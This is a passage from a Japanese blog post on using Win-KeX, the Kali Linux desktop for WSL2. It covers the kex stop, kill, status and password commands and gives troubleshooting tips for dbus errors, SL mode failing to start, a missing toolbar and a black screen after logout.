You can use the Win-KeX client to connect to any of these displays.

$ kex --stop
Killing Win-KeX process ID 1108... success!

「kex --kill」で終了

$ kex --status

Error connecting to the KeX server.
Please try "kex start" to start the service.
If the server fails to start, please try "kex kill" or restart your WSL2 session and try again.

$ kex --kill

VNCパスワード変更

「kex --passwd」で変更できます。

kex --passwd

ハマりポイント

KeXのインストールと起動で私がハマったポイントと解決方法になります。

「Unable to contract settings server」と表示され接続できない。

f:id:tarenagashi_info:20201123035638p:plain:h180

Unable to contract settings server 
Failed to execute child process "dbus-launch" (No such file or directory)

dbus-x11」をインストールして、KeXを再起動します。

$ sudo apt -y install dbus-x11
$ kex --kill
$ kex -m -s

SLモードが起動しない。

以下のように表示され、SLモードが起動しない状態です。

$ kex --sl
        Checking /home/test/.cache/sessions/xfce4-session-192.168.206.1:0
        Enabling SL mode
        Desktop started after 1 seconds, enabling transparency now
Unable to init server: Could not connect: Connection refused
Failed to parse arguments: Cannot open display:
...

$ kex --sl
        Checking /home/test/.cache/sessions/xfce4-session-192.168.206.1:0
        Enabling SL mode
        Waited 100 seconds for desktop, giving up
        Saving Win-KeX SL session
        Started Win-KeX SL

Windows Defenderファイアウォールで「vcxsrv.exe」の「パブリックネットワーク」を許可します。
f:id:tarenagashi_info:20201123040458p:plain:h180 f:id:tarenagashi_info:20201123035214p:plain:h180

WinモードでKali Linuxツールバーが表示されない

Winモード&全画面&マルチディスプレイだと表示されない時があります。マルチディスプレイを解除すると表示されます(HDMIケーブルを抜く)。

KeXからログアウトすると画面が真っ暗になる

Winモード&全画面の時発生します。Ctrl+Alt+Delから「tigervnc」を終了します。